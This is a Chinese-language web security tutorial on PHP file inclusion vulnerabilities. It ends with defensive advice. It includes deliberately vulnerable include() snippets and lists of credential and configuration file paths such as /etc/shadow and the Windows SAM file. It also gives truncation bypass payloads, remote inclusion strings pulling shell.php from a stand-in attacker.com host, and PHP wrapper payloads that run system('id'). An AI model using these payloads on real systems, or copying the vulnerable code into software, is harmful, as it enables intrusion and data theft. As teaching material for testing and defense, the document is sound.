Web安全实战:文件包含漏洞详解
0x01 文件包含简介
文件包含漏洞是Web安全中常见的一种漏洞类型,主要存在于PHP等服务器端脚本语言中。当开发者使用文件包含函数时,如果参数未经严格过滤,攻击者可能利用此漏洞执行恶意代码。
文件包含函数
PHP中主要有四种文件包含函数:
require()- 包含文件失败时会报错并终止脚本执行require_once()- 同上,但确保文件只被包含一次include()- 包含文件失败时发出警告但继续执行include_once()- 同上,但确保文件只被包含一次
漏洞产生原因
当文件包含函数的参数未经充分过滤或严格定义,允许用户控制包含的文件路径时,就可能产生文件包含漏洞。
示例漏洞代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
0x02 本地文件包含漏洞(LFI)
无限制本地文件包含漏洞
直接包含系统文件,可读取敏感信息:
Windows系统常见敏感文件路径:
c:\boot.ini- 查看系统版本c:\windows\system32\inetsrv\MetaBase.xml- IIS配置文件c:\windows\repair\sam- 存储Windows系统初次安装的密码c:\ProgramFiles\mysql\my.ini- MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD- MySQL root密码c:\windows\php.ini- PHP配置信息
Linux/Unix系统常见敏感文件路径:
/etc/passwd- 账户信息/etc/shadow- 账户密码文件/usr/local/app/apache2/conf/httpd.conf- Apache2默认配置文件/usr/local/app/php5/lib/php.ini- PHP相关配置/etc/my.conf- mysql配置文件
session文件包含漏洞
利用条件:
- 获取session存储位置(通过phpinfo或猜测)
- 能控制session内容
示例漏洞代码:
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
利用步骤:
- 通过GET参数注入恶意代码到session文件
- 通过文件包含漏洞包含session文件执行代码
有限制本地文件包含漏洞绕过方法
-
%00截断:
- 条件:
magic_quotes_gpc = Off且PHP版本<5.3.4 - 示例:
?filename=../../../../boot.ini%00
- 条件:
-
路径长度截断:
- Windows:超过256字节
- Linux:超过4096字节
- 示例:
?filename=test.txt/./././...(重复足够多次)
-
点号截断:
- 仅限Windows
- 示例:
?filename=test.txt................(足够多的点)
0x03 远程文件包含漏洞(RFI)
前提条件:
allow_url_fopen = Onallow_url_include = On
无限制远程文件包含
直接包含远程服务器上的PHP文件:
?filename=http://attacker.com/shell.php
有限制远程文件包含绕过
当有后缀限制时(如.html),可用以下方法绕过:
-
问号绕过:
?filename=http://attacker.com/shell.txt? -
#号绕过:
?filename=http://attacker.com/shell.txt%23 -
空格绕过:
?filename=http://attacker.com/shell.txt%20
0x04 PHP伪协议利用
php://filter
用于读取文件内容,特别是获取源码:
?filename=php://filter/convert.base64-encode/resource=index.php
php://input
用于执行POST数据中的PHP代码:
POST /vuln.php?filename=php://input HTTP/1.1
...
<?php system('id'); ?>
利用条件:
allow_url_include = On- 不能用于
enctype="multipart/form-data"
file://
直接访问本地文件系统:
?filename=file:///etc/passwd
data://
类似php://input,但以数据流形式包含代码:
?filename=data://text/plain,<?php phpinfo();?>
或base64编码:
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
phar://
解压压缩包并包含内部文件:
?filename=phar://shell.zip/shell.php
(可将zip改为任意后缀如png)
zip://
类似phar但语法不同:
?filename=zip://shell.png%23shell.php
(注意#需编码为%23)
防御措施
- 避免直接使用用户输入作为包含参数
- 设置
allow_url_fopen = Off和allow_url_include = Off - 对包含参数进行严格白名单过滤
- 设置
open_basedir限制文件访问范围 - 及时更新PHP版本,避免已知漏洞
总结
文件包含漏洞危害严重,可导致信息泄露、代码执行等后果。开发人员应严格验证所有包含文件的路径,避免使用用户可控的输入直接作为包含参数。安全人员测试时应全面尝试各种包含方式和绕过技术,确保系统安全性。